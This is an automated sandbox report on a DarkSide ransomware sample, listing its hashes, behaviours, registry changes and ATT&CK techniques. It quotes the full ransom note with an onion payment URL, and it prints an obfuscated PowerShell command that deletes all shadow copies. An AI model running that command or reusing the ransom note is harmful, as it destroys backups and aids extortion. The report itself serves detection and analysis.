darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

Resubmissions

28-07-2024 16:38

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07-07-2024 14:07

240707-rfgd8atekm 10

07-07-2024 14:07

240707-re689awdpe 10

13-09-2022 17:54

220913-wg1lpsgbg7 10

Analysis

max time kernel
1773s
max time network
1785s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
13-09-2022 17:54

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General

Target

RansomwareSamples/DarkSide_01_05_2021_30KB.exe
Size

30KB
MD5

f00aded4c16c0e8c3b5adfc23d19c609
SHA1

86ca4973a98072c32db97c9433c16d405e4154ac
SHA256

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
SHA512

a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf
SSDEEP

768:lXnIczxCbTRNl71wHpZQgYI1TQPB3aYJEOW:hIMxCXd1+pZQgYIxk3vJE

Score

10^/10

darkside ransomware spyware stealer upx

Malware Config

Extracted

Path

C:\\README.8c94de27.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 16 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

DarkSide_01_05_2021_30KB.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\OutGroup.raw.8c94de27	DarkSide_01_05_2021_30KB.exe
File renamed	C:\Users\Admin\Pictures\UnlockRestore.tiff => C:\Users\Admin\Pictures\UnlockRestore.tiff.8c94de27	DarkSide_01_05_2021_30KB.exe
File renamed	C:\Users\Admin\Pictures\ResizeGet.tif => C:\Users\Admin\Pictures\ResizeGet.tif.8c94de27	DarkSide_01_05_2021_30KB.exe
File opened for modification	C:\Users\Admin\Pictures\SaveUnpublish.tiff	DarkSide_01_05_2021_30KB.exe
File opened for modification	C:\Users\Admin\Pictures\SaveUnpublish.tiff.8c94de27	DarkSide_01_05_2021_30KB.exe
File renamed	C:\Users\Admin\Pictures\UninstallPush.raw => C:\Users\Admin\Pictures\UninstallPush.raw.8c94de27	DarkSide_01_05_2021_30KB.exe
File opened for modification	C:\Users\Admin\Pictures\OpenJoin.raw.8c94de27	DarkSide_01_05_2021_30KB.exe
File renamed	C:\Users\Admin\Pictures\OutGroup.raw => C:\Users\Admin\Pictures\OutGroup.raw.8c94de27	DarkSide_01_05_2021_30KB.exe
File opened for modification	C:\Users\Admin\Pictures\SaveStop.tif.8c94de27	DarkSide_01_05_2021_30KB.exe
File opened for modification	C:\Users\Admin\Pictures\UninstallPush.raw.8c94de27	DarkSide_01_05_2021_30KB.exe
File opened for modification	C:\Users\Admin\Pictures\UnlockRestore.tiff	DarkSide_01_05_2021_30KB.exe
File renamed	C:\Users\Admin\Pictures\OpenJoin.raw => C:\Users\Admin\Pictures\OpenJoin.raw.8c94de27	DarkSide_01_05_2021_30KB.exe
File opened for modification	C:\Users\Admin\Pictures\ResizeGet.tif.8c94de27	DarkSide_01_05_2021_30KB.exe
File renamed	C:\Users\Admin\Pictures\SaveStop.tif => C:\Users\Admin\Pictures\SaveStop.tif.8c94de27	DarkSide_01_05_2021_30KB.exe
File renamed	C:\Users\Admin\Pictures\SaveUnpublish.tiff => C:\Users\Admin\Pictures\SaveUnpublish.tiff.8c94de27	DarkSide_01_05_2021_30KB.exe
File opened for modification	C:\Users\Admin\Pictures\UnlockRestore.tiff.8c94de27	DarkSide_01_05_2021_30KB.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral6/memory/764-132-0x0000000000200000-0x0000000000217000-memory.dmp	upx
behavioral6/memory/764-133-0x0000000000200000-0x0000000000217000-memory.dmp	upx
behavioral6/memory/764-140-0x0000000000200000-0x0000000000217000-memory.dmp	upx

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

DarkSide_01_05_2021_30KB.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\8c94de27.BMP"	DarkSide_01_05_2021_30KB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\8c94de27.BMP"	DarkSide_01_05_2021_30KB.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

DarkSide_01_05_2021_30KB.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\Desktop\WallpaperStyle = "10"	DarkSide_01_05_2021_30KB.exe

Modifies registry class 5 IoCs

Processes:

DarkSide_01_05_2021_30KB.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\8c94de27\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\8c94de27.ico"	DarkSide_01_05_2021_30KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.8c94de27	DarkSide_01_05_2021_30KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.8c94de27\ = "8c94de27"	DarkSide_01_05_2021_30KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\8c94de27\DefaultIcon	DarkSide_01_05_2021_30KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\8c94de27	DarkSide_01_05_2021_30KB.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeDarkSide_01_05_2021_30KB.exe

pid process

3208 powershell.exe
3208 powershell.exe
764 DarkSide_01_05_2021_30KB.exe
764 DarkSide_01_05_2021_30KB.exe

pid	process
3208	powershell.exe
3208	powershell.exe
764	DarkSide_01_05_2021_30KB.exe
764	DarkSide_01_05_2021_30KB.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

DarkSide_01_05_2021_30KB.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeSecurityPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeTakeOwnershipPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeLoadDriverPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeSystemProfilePrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeSystemtimePrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeProfSingleProcessPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeIncBasePriorityPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeCreatePagefilePrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeBackupPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeRestorePrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeShutdownPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeDebugPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeSystemEnvironmentPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeRemoteShutdownPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeUndockPrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: SeManageVolumePrivilege	764	DarkSide_01_05_2021_30KB.exe
Token: 33	764	DarkSide_01_05_2021_30KB.exe
Token: 34	764	DarkSide_01_05_2021_30KB.exe
Token: 35	764	DarkSide_01_05_2021_30KB.exe
Token: 36	764	DarkSide_01_05_2021_30KB.exe
Token: SeDebugPrivilege	3208	powershell.exe
Token: SeBackupPrivilege	1844	vssvc.exe
Token: SeRestorePrivilege	1844	vssvc.exe
Token: SeAuditPrivilege	1844	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

DarkSide_01_05_2021_30KB.exe

description	pid	process	target process
PID 764 wrote to memory of 3208	764	DarkSide_01_05_2021_30KB.exe	powershell.exe
PID 764 wrote to memory of 3208	764	DarkSide_01_05_2021_30KB.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe
"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3208

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1844

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d336b18e0e02e045650ac4f24c7ecaa7

SHA1
87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

SHA256
87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

SHA512
e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

Download Submit
memory/764-132-0x0000000000200000-0x0000000000217000-memory.dmp

Filesize
92KB

Download
memory/764-133-0x0000000000200000-0x0000000000217000-memory.dmp

Filesize
92KB

Download
memory/764-140-0x0000000000200000-0x0000000000217000-memory.dmp

Filesize
92KB

Download
memory/3208-134-0x0000000000000000-mapping.dmp

Download
memory/3208-135-0x000001C467B10000-0x000001C467B32000-memory.dmp

Filesize
136KB

Download
memory/3208-136-0x00007FFE1B640000-0x00007FFE1C101000-memory.dmp

Filesize
10.8MB

Download
memory/3208-137-0x00007FFE1B640000-0x00007FFE1C101000-memory.dmp

Filesize
10.8MB

Download